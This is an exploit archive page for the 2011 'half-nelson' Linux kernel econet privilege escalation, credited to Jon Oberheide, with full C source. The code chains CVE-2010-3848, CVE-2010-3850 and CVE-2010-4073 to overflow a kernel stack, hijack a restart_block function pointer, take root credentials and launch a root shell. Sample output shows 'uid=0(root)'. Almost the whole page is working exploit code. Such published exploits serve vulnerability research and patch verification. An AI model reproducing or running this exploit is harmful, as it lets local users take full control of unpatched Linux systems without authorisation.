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Linux Kernel Econet Privilege Escalation

Linux Kernel Econet Privilege Escalation
Posted Sep 6, 2011
Authored by Jon Oberheide

This exploit leverages three vulnerabilities to escalate privileges. The primary vulnerability is a kernel stack overflow, not a stack buffer overflow as the CVE description incorrectly states. This may be the first public exploit for a kernel stack overflow, and it turns out to be a bit tricky due to some particulars of the econet vulnerability. It involves the econet_sendmsg function, ec_dev_ioctl function, and the ipc subsystem. Linux kernel versions prior to 2.6.36.2 are affected.

tags | exploit, overflow, kernel, vulnerability
systems | linux
advisories | CVE-2010-3848, CVE-2010-3850, CVE-2010-4073
MD5 | bd4bed020aee338cfb73fae11991a04a

Linux Kernel Econet Privilege Escalation

Change Mirror Download
/*
* half-nelson.c
*
* Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
*
* Stack-based buffer overflow in the econet_sendmsg function in
* net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
* econet address is configured, allows local users to gain privileges by
* providing a large number of iovec structures.
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
*
* The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel
* before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which
* allows local users to bypass intended access restrictions and configure
* econet addresses via an SIOCSIFADDR ioctl call.
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
*
* The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not
* initialize certain structures, which allows local users to obtain
* potentially sensitive information from kernel stack memory.
*
* Usage:
*
* $ gcc half-nelson.c -o half-nelson -lrt
* $ ./half-nelson
* [+] looking for symbols...
* [+] resolved symbol commit_creds to 0xffffffff81088ad0
* [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
* [+] resolved symbol ia32_sysret to 0xffffffff81046692
* [+] spawning children to achieve adjacent kstacks...
* [+] found parent kstack at 0xffff88001c6ca000
* [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
* [+] lower child spawning a helper...
* [+] lower child calling compat_sys_wait4 on helper...
* [+] helper going to sleep...
* [+] upper child triggering stack overflow...
* [+] helper woke up
* [+] lower child returned from compat_sys_wait4
* [+] parent's restart_block has been clobbered
* [+] escalating privileges...
* [+] launching root shell!
* # id
* uid=0(root) gid=0(root)
*
* Notes:
*
* This exploit leverages three vulnerabilities to escalate privileges.
* The primary vulnerability is a kernel stack overflow, not a stack buffer
* overflow as the CVE description incorrectly states. I believe this is the
* first public exploit for a kernel stack overflow, and it turns out to be
* a bit tricky due to some particulars of the econet vulnerability. A full
* breakdown of the exploit is forthcoming.
*
* Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <net/if.h>

#define IOVS 446
#define NPROC 1024
#define KSTACK_SIZE 8192

#define KSTACK_UNINIT 0
#define KSTACK_UPPER 1
#define KSTACK_LOWER 2
#define KSTACK_DIE 3
#define KSTACK_PARENT 4
#define KSTACK_CLOBBER 5

#define LEAK_BASE 0xffff880000000000
#define LEAK_TOP 0xffff8800c0000000
#define LEAK_DEPTH 500
#define LEAK_OFFSET 32

#define NR_IPC 0x75
#define NR_WAIT4 0x72
#define SEMCTL 0x3

#ifndef PF_ECONET
#define PF_ECONET 19
#endif

#define STACK_OFFSET 6
#define RESTART_OFFSET 40

struct ec_addr {
unsigned char station;
unsigned char net;
};

struct sockaddr_ec {
unsigned short sec_family;
unsigned char port;
unsigned char cb;
unsigned char type;
struct ec_addr addr;
unsigned long cookie;
};

struct ipc64_perm {
uint32_t key;
uint32_t uid;
uint32_t gid;
uint32_t cuid;
uint32_t cgid;
uint32_t mode;
uint16_t seq;
uint16_t __pad2;
unsigned long __unused1;
unsigned long __unused2;
};

struct semid64_ds {
struct ipc64_perm sem_perm;
unsigned long sem_otime;
unsigned long __unused1;
unsigned long sem_ctime;
unsigned long __unused;
unsigned long sem_nsems;
unsigned long __unused3;
unsigned long __unused4;
};

union semun {
int val;
struct semid_ds *buf;
unsigned short *array;
struct seminfo *__buf;
};

struct region {
unsigned long parent;
unsigned long addrs[NPROC];
};
struct region *region;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;

void __attribute__((regparm(3)))
kernel_code(void)
{
commit_creds(prepare_kernel_cred(0));
}

void
payload_parent(void)
{
asm volatile (
"mov $kernel_code, %rax\n"
"call *%rax\n"
);
}

void
payload_child(void)
{
asm volatile (
"movq $payload_parent, (%0)\n"
"jmpq *%1\n"
:
: "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
);
}

unsigned long
get_kstack(void)
{
int i, size, offset;
union semun *arg;
struct semid_ds dummy;
struct semid64_ds *leaked;
char *stack_start, *stack_end;
unsigned char *p;
unsigned long kstack, *ptr;

/* make sure our argument is 32-bit accessible */
arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
if (arg == MAP_FAILED) {
printf("[-] failure mapping memory, aborting!\n");
exit(1);
}

/* map a fake stack to use during syscall */
stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
if (stack_start == MAP_FAILED) {
printf("[-] failure mapping memory, aborting!\n");
exit(1);
}
stack_end = stack_start + 4096;

memset(arg, 0, sizeof(union semun));
memset(&dummy, 0, sizeof(struct semid_ds));
arg->buf = &dummy;

/* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
asm volatile (
"push %%rax\n"
"push %%rbx\n"
"push %%rcx\n"
"push %%rdx\n"
"push %%rsi\n"
"push %%rdi\n"
"movl %0, %%eax\n"
"movl %1, %%ebx\n"
"movl %2, %%ecx\n"
"movl %3, %%edx\n"
"movl %4, %%esi\n"
"movq %5, %%rdi\n"
"movq %%rsp, %%r8\n"
"movq %6, %%rsp\n"
"push %%r8\n"
"int $0x80\n"
"pop %%r8\n"
"movq %%r8, %%rsp\n"
"pop %%rdi\n"
"pop %%rsi\n"
"pop %%rdx\n"
"pop %%rcx\n"
"pop %%rbx\n"
"pop %%rax\n"
:
: "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
: "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
);

/* naively extract a pointer to the kstack from the kstack */
p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
kstack = *(unsigned long *) p;

if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
printf("[-] failed to leak a suitable kstack address, try again!\n");
exit(1);
}
if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
printf("[-] failed to leak a suitable kstack address, try again!\n");
exit(1);
}

kstack = kstack & ~0x1fff;

return kstack;
}

unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sym[512];
int ret = 0;

f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}

while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
if (ret == 0) {
fscanf(f, "%s\n", sym);
continue;
}
if (!strcmp(name, sym)) {
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);

return 0;
}

int
get_adjacent_kstacks(void)
{
int i, ret, shm, pid, type;

/* create shared communication channel between parent and its children */
shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
if (shm < 0) {
printf("[-] failed creating shared memory, aborting!\n");
exit(1);
}

ret = ftruncate(shm, sizeof(struct region));
if (ret != 0) {
printf("[-] failed resizing shared memory, aborting!\n");
exit(1);
}

region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
memset(region, KSTACK_UNINIT, sizeof(struct region));

/* parent kstack self-discovery */
region->parent = get_kstack();

printf("[+] found parent kstack at 0x%lx\n", region->parent);

/* fork and discover children with adjacently-allocated kernel stacks */
for (i = 0; i < NPROC; ++i) {
pid = fork();

if (pid > 0) {
type = KSTACK_PARENT;
continue;
} else if (pid == 0) {
/* children do kstack self-discovery */
region->addrs[i] = get_kstack();

/* children sleep until parent has found adjacent children */
while (1) {
sleep(1);
if (region->addrs[i] == KSTACK_DIE) {
/* parent doesn't need us :-( */
exit(0);
} else if (region->addrs[i] == KSTACK_UPPER) {
/* we're the upper adjacent process */
type = KSTACK_UPPER;
break;
} else if (region->addrs[i] == KSTACK_LOWER) {
/* we're the lower adjacent process */
type = KSTACK_LOWER;
break;
}
}
break;
} else {
printf("[-] fork failed, aborting!\n");
exit(1);
}
}

return type;
}

void
do_parent(void)
{
int i, j, upper, lower;

/* parent sleeps until we've discovered all the child kstacks */
while (1) {
sleep(1);
for (i = 0; i < NPROC; ++i) {
if (region->addrs[i] == KSTACK_UNINIT) {
break;
}
}
if (i == NPROC) {
break;
}
}

/* figure out if we have any adjacent child kstacks */
for (i = 0; i < NPROC; ++i) {
for (j = 0; j < NPROC; ++j) {
if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
break;
}
}
if (j != NPROC) {
break;
}
}
if (i == NPROC && j == NPROC) {
printf("[-] failed to find adjacent kstacks, try again!\n");
exit(1);
}

upper = i;
lower = j;

printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);

/* signal to non-adjacent children to die */
for (i = 0; i < NPROC; ++i) {
if (i != upper && i != lower) {
region->addrs[i] = KSTACK_DIE;
}
}

/* signal adjacent children to continue on */
region->addrs[upper] = KSTACK_UPPER;
region->addrs[lower] = KSTACK_LOWER;

/* parent sleeps until child has clobbered the fptr */
while (1) {
sleep(1);
if (region->parent == KSTACK_CLOBBER) {
break;
}
}

printf("[+] escalating privileges...\n");

/* trigger our clobbered fptr */
syscall(__NR_restart_syscall);

/* our privileges should be escalated now */
if (getuid() != 0) {
printf("[-] privilege escalation failed, aborting!\n");
exit(1);
}

printf("[+] launching root shell!\n");

execl("/bin/sh", "/bin/sh", NULL);
}

void
do_child_upper(void)
{
int i, ret, eco_sock;
struct sockaddr_ec eco_addr;
struct msghdr eco_msg;
struct iovec iovs[IOVS];
struct ifreq ifr;
char *target;

/* calculate payload target, skip prologue */
target = (char *) payload_child;
target += 4;

/* give lower child a chance to enter its wait4 call */
sleep(1);

/* write some zeros */
for (i = 0; i < STACK_OFFSET; ++i) {
iovs[i].iov_base = (void *) 0x0;
iovs[i].iov_len = 0;
}

/* overwrite saved ia32_sysret address on stack */
iovs[STACK_OFFSET].iov_base = (void *) target;
iovs[STACK_OFFSET].iov_len = 0x0246;

/* force abort via EFAULT */
for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
iovs[i].iov_base = (void *) 0xffffffff00000000;
iovs[i].iov_len = 0;
}

/* create econet socket */
eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
if (eco_sock < 0) {
printf("[-] failed creating econet socket, aborting!\n");
exit(1);
}

memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, "lo");

/* trick econet into associated with the loopback */
ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
if (ret != 0) {
printf("[-] failed setting interface address, aborting!\n");
exit(1);
}

memset(&eco_addr, 0, sizeof(eco_addr));
memset(&eco_msg, 0, sizeof(eco_msg));
eco_msg.msg_name = &eco_addr;
eco_msg.msg_namelen = sizeof(eco_addr);
eco_msg.msg_flags = 0;
eco_msg.msg_iov = &iovs[0];
eco_msg.msg_iovlen = IOVS;

printf("[+] upper child triggering stack overflow...\n");

/* trigger the kstack overflow into lower child's kstack */
ret = sendmsg(eco_sock, &eco_msg, 0);
if (ret != -1 || errno != EFAULT) {
printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
exit(1);
}

close(eco_sock);
}

void
do_child_lower(void)
{
int pid;

printf("[+] lower child spawning a helper...\n");

/* fork off a helper to wait4 on */
pid = fork();
if (pid == 0) {
printf("[+] helper going to sleep...\n");
sleep(5);
printf("[+] helper woke up\n");
exit(1);
}

printf("[+] lower child calling compat_sys_wait4 on helper...\n");

/* syscall(NR_WAIT4, pid, 0, 0, 0) */
asm volatile (
"push %%rax\n"
"push %%rbx\n"
"push %%rcx\n"
"push %%rdx\n"
"push %%rsi\n"
"movl %0, %%eax\n"
"movl %1, %%ebx\n"
"movl %2, %%ecx\n"
"movl %3, %%edx\n"
"movl %4, %%esi\n"
"int $0x80\n"
"pop %%rsi\n"
"pop %%rdx\n"
"pop %%rcx\n"
"pop %%rbx\n"
"pop %%rax\n"
:
: "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
: "memory", "rax", "rbx", "rcx", "rdx", "rsi"
);

printf("[+] lower child returned from compat_sys_wait4\n");

printf("[+] parent's restart_block has been clobbered\n");

/* signal parent that our fptr should now be clobbered */
region->parent = KSTACK_CLOBBER;
}

int
main(int argc, char **argv)
{
int type;

if (sizeof(unsigned long) != 8) {
printf("[-] x86_64 only, sorry!\n");
exit(1);
}

printf("[+] looking for symbols...\n");

commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] symbol table not available, aborting!\n");
exit(1);
}

prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] symbol table not available, aborting!\n");
exit(1);
}

ia32_sysret = get_symbol("ia32_sysret");
if (!ia32_sysret) {
printf("[-] symbol table not available, aborting!\n");
exit(1);
}

printf("[+] spawning children to achieve adjacent kstacks...\n");

type = get_adjacent_kstacks();

if (type == KSTACK_PARENT) {
do_parent();
} else if (type == KSTACK_UPPER) {
do_child_upper();
} else if (type == KSTACK_LOWER) {
do_child_lower();
}

return 0;
}

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